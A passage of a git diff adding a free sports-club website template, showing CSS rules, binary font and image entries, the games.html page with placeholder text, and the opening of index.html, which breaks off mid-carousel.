||||
.btn {
|
||||
text-decoration: none !important;
|
||||
outline: none !important;
|
||||
-webkit-transition: all .3s ease-in-out;
|
||||
-moz-transition: all .3s ease-in-out;
|
||||
-ms-transition: all .3s ease-in-out;
|
||||
-o-transition: all .3s ease-in-out;
|
||||
transition: all .3s ease-in-out;
|
||||
}
|
||||
|
||||
img {
|
||||
max-width: 100%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
:focus {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
.btn-custom {
|
||||
margin-top: 20px;
|
||||
background-color: transparent !important;
|
||||
border: 2px solid #ddd;
|
||||
padding: 12px 40px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.lead {
|
||||
font-size: 18px;
|
||||
line-height: 30px;
|
||||
color: #767676;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.form-control:focus {
|
||||
border-color: #ffffff !important;
|
||||
box-shadow: 0 0 0 .2rem rgba(255, 255, 255, .25);
|
||||
}
|
||||
|
||||
.navbar-form input {
|
||||
border: none !important;
|
||||
}
|
||||
|
||||
.badge {
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
margin: 20px 0 20px;
|
||||
padding: 30px;
|
||||
}
|
||||
|
||||
button {
|
||||
border: 0;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.full {
|
||||
width: 100%;
|
||||
float: left;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.text_align_center {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.text_align_left {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.text_align_right {
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.d_flex {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 1170px;
|
||||
}
|
||||
|
||||
|
||||
/*----------------------------
|
||||
loader
|
||||
----------------------------*/
|
||||
|
||||
.loader_bg {
|
||||
position: fixed;
|
||||
z-index: 9999999;
|
||||
background: #fff;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.loader {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.loader img {
|
||||
width: 280px;
|
||||
}
|
||||
|
||||
|
||||
/*---------------------------------------------------------------------
|
||||
header
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
header {
|
||||
background: transparent;
|
||||
width: 100%;
|
||||
padding: 40px 0px;
|
||||
position: absolute;
|
||||
z-index: 9;
|
||||
}
|
||||
|
||||
|
||||
/*---------------------------------------------------------------------
|
||||
menu section
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
ul.email {
|
||||
float: right;
|
||||
padding-top: 1px;
|
||||
}
|
||||
|
||||
ul.email li {
|
||||
display: inline-block;
|
||||
padding-right: 20px;
|
||||
}
|
||||
|
||||
ul.email li:last-child {
|
||||
padding-right: 0;
|
||||
}
|
||||
|
||||
ul.email li a {
|
||||
color: #343650;
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.sidepanel {
|
||||
width: 0;
|
||||
position: fixed;
|
||||
z-index: 9999999;
|
||||
height: 100%;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background-color: #1f1d47;
|
||||
overflow-x: hidden;
|
||||
transition: 0.5s;
|
||||
padding-top: 60px;
|
||||
}
|
||||
|
||||
.sidepanel a {
|
||||
padding: 8px 8px 8px 32px;
|
||||
text-decoration: none;
|
||||
font-size: 20px;
|
||||
color: #fff;
|
||||
display: block;
|
||||
transition: 0.3s;
|
||||
}
|
||||
|
||||
.sidepanel a:hover {
|
||||
color: #26cc35;
|
||||
}
|
||||
|
||||
.sidepanel a.active {
|
||||
color: #26cc35;
|
||||
}
|
||||
|
||||
.sidepanel .closebtn {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
right: 25px;
|
||||
font-size: 36px;
|
||||
}
|
||||
|
||||
.openbtn {
|
||||
cursor: pointer;
|
||||
background-color: transparent;
|
||||
color: white;
|
||||
border: none;
|
||||
}
|
||||
|
||||
|
||||
/** banner_main **/
|
||||
|
||||
.banner_main {
|
||||
margin: 0 170px;
|
||||
}
|
||||
|
||||
.tes_n0 {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.poa_t {
|
||||
position: absolute;
|
||||
top: 97px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
}
|
||||
|
||||
.club {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.club figure {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.club figure img {
|
||||
height: 417px;
|
||||
}
|
||||
|
||||
.club h1 {
|
||||
color: #fff;
|
||||
font-size: 50px;
|
||||
line-height: 50px;
|
||||
text-transform: uppercase;
|
||||
font-weight: bold;
|
||||
padding-bottom: 10px;
|
||||
}
|
||||
|
||||
.club p {
|
||||
color: #fff;
|
||||
line-height: 25px;
|
||||
font-weight: 400;
|
||||
font-size: 17px;
|
||||
}
|
||||
|
||||
.footbol {
|
||||
margin-top: -180px;
|
||||
}
|
||||
|
||||
#myCarousel .carousel-indicators {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#myCarousel a.carousel-control-next,
|
||||
#myCarousel a.carousel-control-prev {
|
||||
background: #26cc35;
|
||||
width: 80px;
|
||||
height: 80px;
|
||||
top: 49%;
|
||||
opacity: 1;
|
||||
font-size: 35px;
|
||||
color: #fff;
|
||||
border-radius: 50px;
|
||||
}
|
||||
|
||||
#myCarousel a.carousel-control-next {
|
||||
right: 5%;
|
||||
}
|
||||
|
||||
#myCarousel a.carousel-control-prev {
|
||||
left: 5%;
|
||||
}
|
||||
|
||||
#myCarousel a.carousel-control-next:focus,
|
||||
#myCarousel a.carousel-control-next:hover,
|
||||
#myCarousel a.carousel-control-prev:focus,
|
||||
#myCarousel a.carousel-control-prev:hover {
|
||||
background: #1f1d47;
|
||||
color: #fff;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.relative {
|
||||
position: inherit;
|
||||
bottom: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.bluid {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.foot_img {
|
||||
background: #26cc35;
|
||||
max-width: 350px;
|
||||
margin: 0 auto;
|
||||
padding: 65px 0 58px 0;
|
||||
border-radius: 60%;
|
||||
margin-bottom: 80px;
|
||||
}
|
||||
|
||||
.titlepage {
|
||||
padding-bottom: 60px;
|
||||
}
|
||||
|
||||
.titlepage h2 {
|
||||
font-size: 50px;
|
||||
font-weight: bold;
|
||||
line-height: 55px;
|
||||
color: #000000;
|
||||
}
|
||||
|
||||
.read_more {
|
||||
display: inline-block;
|
||||
background: #26cc35;
|
||||
color: #fff;
|
||||
max-width: 201px;
|
||||
height: 67px;
|
||||
line-height: 67px;
|
||||
width: 100%;
|
||||
font-size: 17px;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
border-radius: 50px;
|
||||
transition: ease-in all 0.5s;
|
||||
}
|
||||
|
||||
.read_more:hover {
|
||||
background: #1f1d46;
|
||||
color: #fff;
|
||||
transition: ease-in all 0.5s;
|
||||
}
|
||||
|
||||
.img_responsive {
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
|
||||
/** sports **/
|
||||
|
||||
.sports {
|
||||
padding-top: 90px;
|
||||
}
|
||||
|
||||
.sports .titlepage p {
|
||||
color: #000000;
|
||||
font-size: 17px;
|
||||
line-height: 30px;
|
||||
padding-top: 10px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
|
||||
.sports_main figure {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.dorder {
|
||||
border: #1f1d45 solid 40px;
|
||||
}
|
||||
|
||||
.sports_main figure img {
|
||||
filter: drop-shadow(0px 0px 4px #1e1e1e3d);
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.sports_text h3 {
|
||||
padding-top: 30px;
|
||||
color: #26cc35;
|
||||
font-size: 30px;
|
||||
line-height: 30px;
|
||||
padding-bottom: 20px;
|
||||
font-weight: bold;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.sports_text p {
|
||||
color: #111111;
|
||||
font-size: 17px;
|
||||
line-height: 30px;
|
||||
padding-bottom: 25px;
|
||||
}
|
||||
|
||||
.dark3 {
|
||||
color: #171717 !important;
|
||||
}
|
||||
|
||||
.sports_text .read_more {
|
||||
max-width: 143px;
|
||||
line-height: 48px;
|
||||
height: 48px;
|
||||
}
|
||||
|
||||
|
||||
/* end sports */
|
||||
|
||||
|
||||
/** about **/
|
||||
|
||||
.about {
|
||||
padding-top: 90px;
|
||||
}
|
||||
|
||||
.about .titlepage p {
|
||||
color: #000000;
|
||||
font-size: 17px;
|
||||
line-height: 30px;
|
||||
padding-top: 10px;
|
||||
}
|
||||
|
||||
.about_img figure {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.abo_btn {
|
||||
position: absolute;
|
||||
background-position: center;
|
||||
text-align: center;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
left: 0;
|
||||
right: 0;
|
||||
top: 0;
|
||||
bottom: 0;
|
||||
}
|
||||
|
||||
|
||||
/** end about **/
|
||||
|
||||
|
||||
/** trannir **/
|
||||
|
||||
.trannir {
|
||||
padding-top: 90px;
|
||||
}
|
||||
|
||||
.trannir .titlepage {
|
||||
padding-bottom: 60px;
|
||||
}
|
||||
|
||||
.trannir .titlepage p {
|
||||
color: #000000;
|
||||
font-size: 17px;
|
||||
line-height: 30px;
|
||||
padding-top: 10px;
|
||||
}
|
||||
|
||||
.posi_in {
|
||||
position: inherit;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.trannir_text i img {
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.trannir_text h3 {
|
||||
margin-top: 40px;
|
||||
color: #111111;
|
||||
font-size: 31px;
|
||||
padding: 0;
|
||||
font-weight: bold;
|
||||
line-height: 20px;
|
||||
}
|
||||
|
||||
.trannir_text span {
|
||||
color: #26cc35;
|
||||
font-size: 23px;
|
||||
font-weight: bold;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.trannir_text ul.social_icon li a {
|
||||
color: #000000;
|
||||
}
|
||||
|
||||
#testimo .carousel-indicators {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#testimo a.carousel-control-next,
|
||||
#testimo a.carousel-control-prev {
|
||||
background: #26cc35;
|
||||
width: 80px;
|
||||
height: 80px;
|
||||
top: 49%;
|
||||
opacity: 1;
|
||||
font-size: 40px;
|
||||
border-radius: 40px;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
#testimo a.carousel-control-next:focus,
|
||||
#testimo a.carousel-control-next:hover,
|
||||
#testimo a.carousel-control-prev:focus,
|
||||
#testimo a.carousel-control-prev:hover {
|
||||
background: #1f1d47;
|
||||
color: #fff;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
|
||||
/** end trannir **/
|
||||
|
||||
|
||||
/* our_club */
|
||||
|
||||
.our_club {
|
||||
padding-top: 90px;
|
||||
}
|
||||
|
||||
.our_club .titlepage p {
|
||||
color: #000000;
|
||||
font-size: 17px;
|
||||
line-height: 30px;
|
||||
padding-top: 10px;
|
||||
}
|
||||
|
||||
.club_btn {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.club_btn .read_more {
|
||||
max-width: 340px;
|
||||
height: 84px;
|
||||
line-height: 84px;
|
||||
text-transform: uppercase;
|
||||
margin: 0 11px;
|
||||
}
|
||||
|
||||
|
||||
/* end our_club */
|
||||
|
||||
|
||||
/** footer **/
|
||||
|
||||
.footer {
|
||||
background: url(../images/footer_bg.png);
|
||||
background-repeat: no-repeat;
|
||||
background-position: center;
|
||||
background-size: 100% 100%;
|
||||
padding-top: 90px;
|
||||
margin-top: 90px;
|
||||
}
|
||||
|
||||
.footer h3 {
|
||||
color: #ffffff;
|
||||
font-size: 26px;
|
||||
font-weight: bold;
|
||||
line-height: 25px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
ul.social_icon {
|
||||
padding-top: 20px;
|
||||
}
|
||||
|
||||
ul.social_icon li {
|
||||
display: inline-block;
|
||||
padding-right: 20px;
|
||||
}
|
||||
|
||||
ul.social_icon li:last-child {
|
||||
padding-right: 0;
|
||||
}
|
||||
|
||||
ul.social_icon li a {
|
||||
color: #fff;
|
||||
display: inline-block;
|
||||
text-align: center;
|
||||
line-height: 35px;
|
||||
font-size: 35px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
ul.social_icon li a:hover {
|
||||
color: #26cc35;
|
||||
transform: rotate(360deg);
|
||||
transition: ease-in all 0.7s;
|
||||
}
|
||||
|
||||
.conta {
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
.conta ul li {
|
||||
display: inline-block;
|
||||
padding-right: 40px;
|
||||
}
|
||||
|
||||
.conta ul li:last-child {
|
||||
padding-right: 0;
|
||||
}
|
||||
|
||||
.conta ul li a {
|
||||
color: #fff;
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.conta ul li a img {
|
||||
padding-right: 15px;
|
||||
}
|
||||
|
||||
.menu_bottom {
|
||||
padding-top: 50px;
|
||||
}
|
||||
|
||||
.menu_bottom li {
|
||||
display: inline-block;
|
||||
padding: 0 30px;
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
.menu_bottom ul li a {
|
||||
color: #fff;
|
||||
font-size: 20px;
|
||||
line-height: 29px;
|
||||
}
|
||||
|
||||
.menu_bottom li a:hover {
|
||||
color: #26cc35;
|
||||
}
|
||||
|
||||
.copyright {
|
||||
margin-top: 30px;
|
||||
}
|
||||
|
||||
.copyright p {
|
||||
color: #fff;
|
||||
padding: 20px 0px;
|
||||
border-top: #222323 solid 1px;
|
||||
}
|
||||
|
||||
.copyright a {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.copyright a:hover {
|
||||
color: #26cc35;
|
||||
}
|
||||
|
||||
|
||||
/** end footer **/
|
||||
|
||||
|
||||
/*- - ener page css--*/
|
||||
|
||||
.inner_page header {
|
||||
box-shadow: 0 -3px 12px 0px #26cc35;
|
||||
position: inherit;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.inner_page .testimonial {
|
||||
margin-top: 90px;
|
||||
}
|
||||
|
||||
|
||||
/** contact section **/
|
||||
|
||||
.contact {
|
||||
padding-top: 90px;
|
||||
}
|
||||
|
||||
.main_form .contactus {
|
||||
border: #fff solid 1px;
|
||||
padding: 0 15px;
|
||||
margin-bottom: 25px;
|
||||
width: 100%;
|
||||
height: 63px;
|
||||
background: #fff;
|
||||
color: #828181;
|
||||
font-size: 16px;
|
||||
font-weight: normal;
|
||||
box-shadow: 0px 0px 18px rgba(22, 22, 23, 0.11);
|
||||
}
|
||||
|
||||
.main_form .textarea {
|
||||
border: #fff solid 1px;
|
||||
margin-bottom: 25px;
|
||||
width: 100%;
|
||||
background: #fff;
|
||||
color: #828181;
|
||||
font-size: 18px;
|
||||
font-weight: normal;
|
||||
padding: 36px 15px 0 15px;
|
||||
border-radius: 0;
|
||||
box-shadow: 0px 0px 18px rgba(22, 22, 23, 0.11);
|
||||
height: 109px;
|
||||
}
|
||||
|
||||
.main_form .send_btn {
|
||||
font-size: 20px;
|
||||
transition: ease-in all 0.5s;
|
||||
background-color: #26cc35;
|
||||
text-transform: uppercase;
|
||||
color: #fff;
|
||||
padding: 12px 0px;
|
||||
max-width: 243px;
|
||||
width: 100%;
|
||||
display: block;
|
||||
margin-top: 10px !important;
|
||||
font-weight: 500;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.main_form .send_btn:hover {
|
||||
background-color: #1f1d47;
|
||||
transition: ease-in all 0.5s;
|
||||
color: #000000;
|
||||
}
|
||||
|
||||
#request *::placeholder {
|
||||
color: #828181;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
|
||||
/** end contact section **/
|
||||
BIN
web/sport/club/fonts/FontAwesome.otf
Normal file
BIN
web/sport/club/fonts/IcoMoon-Free.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Black.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-BlackItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Bold.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-BoldItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-ExtraBold.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-ExtraBoldItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-ExtraLight.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-ExtraLightItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Italic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Light.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-LightItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Medium.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-MediumItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Regular.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-SemiBold.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-SemiBoldItalic.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-Thin.ttf
Normal file
BIN
web/sport/club/fonts/Poppins-ThinItalic.ttf
Normal file
BIN
web/sport/club/fonts/fontawesome-webfont.eot
Normal file
2671
web/sport/club/fonts/fontawesome-webfont.svg
Normal file
|
After Width: | Height: | Size: 434 KiB |
BIN
web/sport/club/fonts/fontawesome-webfont.ttf
Normal file
BIN
web/sport/club/fonts/fontawesome-webfont.woff
Normal file
BIN
web/sport/club/fonts/fontawesome-webfont.woff2
Normal file
168
web/sport/club/games.html
Normal file
@@ -0,0 +1,168 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>yogast</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" href="css/style.css">
|
||||
<!-- responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- awesome fontfamily -->
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||||
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<!-- body -->
|
||||
<body class="main-layout inner_page">
|
||||
<!-- loader -->
|
||||
<div class="loader_bg">
|
||||
<div class="loader"><img src="images/loading.gif" alt="" /></div>
|
||||
</div>
|
||||
<!-- end loader -->
|
||||
<div id="mySidepanel" class="sidepanel">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<a href="index.html">Home</a>
|
||||
<a href="about.html">About</a>
|
||||
<a class="active" href="games.html">Games</a>
|
||||
<a href="tranner.html">Tranner</a>
|
||||
<a href="contact.html">Contact</a>
|
||||
</div>
|
||||
<!-- header -->
|
||||
<header>
|
||||
<!-- header inner -->
|
||||
<div class="head-top">
|
||||
<div class="container-fluid">
|
||||
<div class="row d_flex">
|
||||
<div class="col-sm-3">
|
||||
<div class="logo">
|
||||
<a href="index.html"><img src="images/logo.png" /></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<ul class="email text_align_right">
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<!-- end header -->
|
||||
<!-- sports -->
|
||||
<div class="sports">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-10 offset-md-1">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>Our Sports Games</h2>
|
||||
<p>variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are goingvariations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don't look even slightly believable. If you are going</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row d_flex">
|
||||
<div class="col-md-3">
|
||||
<div class="sports_main text_align_center">
|
||||
<figure><img src="images/sport1.png" alt="#"/></figure>
|
||||
<div class="sports_text">
|
||||
<h3>Game 1</h3>
|
||||
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="sports_main text_align_center">
|
||||
<figure><img class="dorder" src="images/sport2.png" alt="#"/></figure>
|
||||
<div class="sports_text">
|
||||
<h3 class="dark3">Game 2</h3>
|
||||
<p>vailable, but the majority have<br> suffered alteration in some <br>form, by injected humour, or <br> randomised words which</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-3">
|
||||
<div class="sports_main text_align_center">
|
||||
<figure><img src="images/sport3.png" alt="#"/></figure>
|
||||
<div class="sports_text">
|
||||
<h3>Game 3</h3>
|
||||
<p>vailable, but the majority have suffered alteration in some form, by injected humour, or randomised words which</p>
|
||||
<a class="read_more" href="sports.html">Read More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end sports -->
|
||||
<!-- footer -->
|
||||
<footer>
|
||||
<div class="footer">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<h3>Follow Us</h3>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
<div class="conta text_align_center">
|
||||
<ul>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
|
||||
</a>
|
||||
</li>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<div class="menu_bottom text_align_center">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="games.html">Games</a></li>
|
||||
<li><a href="tranner.html">Tranner</a></li>
|
||||
<li><a href="contact.html">Contact</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="copyright text_align_center">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<!-- end footer -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
BIN
web/sport/club/images/about_btn.png
Normal file
|
After Width: | Height: | Size: 12 KiB |
BIN
web/sport/club/images/about_img.png
Normal file
|
After Width: | Height: | Size: 1.2 MiB |
BIN
web/sport/club/images/banner1.jpg
Normal file
|
After Width: | Height: | Size: 131 KiB |
BIN
web/sport/club/images/bbnner.png
Normal file
|
After Width: | Height: | Size: 438 KiB |
BIN
web/sport/club/images/bg-body.jpg
Normal file
|
After Width: | Height: | Size: 272 KiB |
BIN
web/sport/club/images/call.png
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
web/sport/club/images/clint.jpg
Normal file
|
After Width: | Height: | Size: 233 KiB |
BIN
web/sport/club/images/foot.png
Normal file
|
After Width: | Height: | Size: 86 KiB |
BIN
web/sport/club/images/footer_bg.png
Normal file
|
After Width: | Height: | Size: 10 KiB |
BIN
web/sport/club/images/loading.gif
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
web/sport/club/images/logo.png
Normal file
|
After Width: | Height: | Size: 7.1 KiB |
BIN
web/sport/club/images/mall.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
web/sport/club/images/menu_btn.png
Normal file
|
After Width: | Height: | Size: 983 B |
BIN
web/sport/club/images/sport1.png
Normal file
|
After Width: | Height: | Size: 234 KiB |
BIN
web/sport/club/images/sport2.png
Normal file
|
After Width: | Height: | Size: 398 KiB |
BIN
web/sport/club/images/sport3.png
Normal file
|
After Width: | Height: | Size: 235 KiB |
378
web/sport/club/index.html
Normal file
@@ -0,0 +1,378 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>yogast</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" href="css/style.css">
|
||||
<!-- responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- awesome fontfamily -->
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||||
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<!-- body -->
|
||||
<body class="main-layout">
|
||||
<!-- loader -->
|
||||
<div class="loader_bg">
|
||||
<div class="loader"><img src="images/loading.gif" alt="" /></div>
|
||||
</div>
|
||||
<!-- end loader -->
|
||||
<div id="mySidepanel" class="sidepanel">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<a class="active" href="index.html">Home</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="games.html">Games</a>
|
||||
<a href="tranner.html">Tranner</a>
|
||||
<a href="contact.html">Contact</a>
|
||||
</div>
|
||||
<!-- header -->
|
||||
<header>
|
||||
<!-- header inner -->
|
||||
<div class="head-top">
|
||||
<div class="container-fluid">
|
||||
<div class="row d_flex">
|
||||
<div class="col-sm-3">
|
||||
<div class="logo">
|
||||
<a href="index.html"><img src="images/logo.png" /></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<ul class="email text_align_right">
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<!-- end header -->
|
||||
<!-- start slider section -->
|
||||
<div class=" banner_main">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="club">
|
||||
<figure><img class="sm_n0" src="images/bbnner.png"> <img class="tes_n0" src="images/banner1.jpg"> </figure>
|
||||
<div class="poa_t">
|
||||
<h1>Sports club</h1>
|
||||
<p>It is a long established fact that a reader will be distracted by the readable content of a</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end slider section -->
|
||||
<div class="footbol">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div id="myCarousel" class="carousel slide" data-ride="carousel">
|
||||
<ol class="carousel-indicators">
|
||||
